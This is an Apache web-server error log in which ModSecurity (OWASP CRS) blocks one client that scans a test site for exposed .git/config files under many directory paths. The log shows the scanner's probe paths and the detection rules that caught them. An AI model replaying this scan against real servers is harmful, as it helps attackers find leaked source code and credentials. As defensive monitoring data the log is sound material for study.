[Sat May 25 00:07:46.365250 2024] [:error] [pid 3454967] [client 91.215.85.43:50194] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLwAAAAM"]
[Sat May 25 00:07:46.365463 2024] [:error] [pid 3454965] [client 91.215.85.43:50196] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwAAAAAE"]
[Sat May 25 00:07:46.365503 2024] [:error] [pid 3454967] [client 91.215.85.43:50194] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLwAAAAM"]
[Sat May 25 00:07:46.365959 2024] [:error] [pid 3454965] [client 91.215.85.43:50196] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwAAAAAE"]
[Sat May 25 00:07:46.366259 2024] [:error] [pid 3454965] [client 91.215.85.43:50196] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwAAAAAE"]
[Sat May 25 00:07:46.421870 2024] [:error] [pid 3454966] [client 91.215.85.43:50204] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/store/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JNAAAAAI"]
[Sat May 25 00:07:46.422451 2024] [:error] [pid 3454966] [client 91.215.85.43:50204] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/store/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JNAAAAAI"]
[Sat May 25 00:07:46.422863 2024] [:error] [pid 3454966] [client 91.215.85.43:50204] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/store/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JNAAAAAI"]
[Sat May 25 00:07:46.433132 2024] [:error] [pid 3454974] [client 91.215.85.43:50236] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUtAAAAAU"]
[Sat May 25 00:07:46.433631 2024] [:error] [pid 3454974] [client 91.215.85.43:50236] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUtAAAAAU"]
[Sat May 25 00:07:46.433960 2024] [:error] [pid 3454974] [client 91.215.85.43:50236] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUtAAAAAU"]
[Sat May 25 00:07:46.444327 2024] [:error] [pid 3454968] [client 91.215.85.43:50214] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjgAAAAQ"]
[Sat May 25 00:07:46.444971 2024] [:error] [pid 3454968] [client 91.215.85.43:50214] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjgAAAAQ"]
[Sat May 25 00:07:46.445377 2024] [:error] [pid 3454968] [client 91.215.85.43:50214] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjgAAAAQ"]
[Sat May 25 00:07:46.445863 2024] [:error] [pid 3454964] [client 91.215.85.43:50220] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqSAAAAAA"]
[Sat May 25 00:07:46.446244 2024] [:error] [pid 3454964] [client 91.215.85.43:50220] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqSAAAAAA"]
[Sat May 25 00:07:46.446529 2024] [:error] [pid 3454964] [client 91.215.85.43:50220] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqSAAAAAA"]
[Sat May 25 00:07:46.454182 2024] [:error] [pid 3455036] [client 91.215.85.43:50242] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDewAAAAY"]
[Sat May 25 00:07:46.454609 2024] [:error] [pid 3455036] [client 91.215.85.43:50242] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDewAAAAY"]
[Sat May 25 00:07:46.454914 2024] [:error] [pid 3455036] [client 91.215.85.43:50242] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDewAAAAY"]
[Sat May 25 00:07:46.459778 2024] [:error] [pid 3454965] [client 91.215.85.43:50250] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwQAAAAE"]
[Sat May 25 00:07:46.460159 2024] [:error] [pid 3454965] [client 91.215.85.43:50250] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwQAAAAE"]
[Sat May 25 00:07:46.460442 2024] [:error] [pid 3454965] [client 91.215.85.43:50250] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwQAAAAE"]
[Sat May 25 00:07:46.466908 2024] [:error] [pid 3454967] [client 91.215.85.43:50268] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eMAAAAAM"]
[Sat May 25 00:07:46.467238 2024] [:error] [pid 3454967] [client 91.215.85.43:50268] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eMAAAAAM"]
[Sat May 25 00:07:46.467546 2024] [:error] [pid 3454967] [client 91.215.85.43:50268] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eMAAAAAM"]
[Sat May 25 00:07:46.520922 2024] [authz_core:error] [pid 3454966] [client 91.215.85.43:50260] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.git
[Sat May 25 00:07:46.529792 2024] [:error] [pid 3454974] [client 91.215.85.43:50290] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUtQAAAAU"]
[Sat May 25 00:07:46.530502 2024] [:error] [pid 3454974] [client 91.215.85.43:50290] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUtQAAAAU"]
[Sat May 25 00:07:46.530895 2024] [:error] [pid 3454974] [client 91.215.85.43:50290] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUtQAAAAU"]
[Sat May 25 00:07:46.546092 2024] [:error] [pid 3454968] [client 91.215.85.43:50300] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjwAAAAQ"]
[Sat May 25 00:07:46.546419 2024] [:error] [pid 3454968] [client 91.215.85.43:50300] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjwAAAAQ"]
[Sat May 25 00:07:46.546630 2024] [:error] [pid 3454968] [client 91.215.85.43:50300] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKjwAAAAQ"]
[Sat May 25 00:07:46.552798 2024] [:error] [pid 3454964] [client 91.215.85.43:50276] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wiki/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqSQAAAAA"]
[Sat May 25 00:07:46.553367 2024] [:error] [pid 3455036] [client 91.215.85.43:50308] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/themes/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDfAAAAAY"]
[Sat May 25 00:07:46.553372 2024] [:error] [pid 3454964] [client 91.215.85.43:50276] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wiki/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqSQAAAAA"]
[Sat May 25 00:07:46.553715 2024] [:error] [pid 3455036] [client 91.215.85.43:50308] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/themes/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDfAAAAAY"]
[Sat May 25 00:07:46.553818 2024] [:error] [pid 3454964] [client 91.215.85.43:50276] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wiki/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqSQAAAAA"]
[Sat May 25 00:07:46.553954 2024] [:error] [pid 3455036] [client 91.215.85.43:50308] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/themes/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDfAAAAAY"]
[Sat May 25 00:07:46.555873 2024] [:error] [pid 3454965] [client 91.215.85.43:50310] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-includes/js/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwgAAAAE"]
[Sat May 25 00:07:46.556189 2024] [:error] [pid 3454965] [client 91.215.85.43:50310] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-includes/js/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwgAAAAE"]
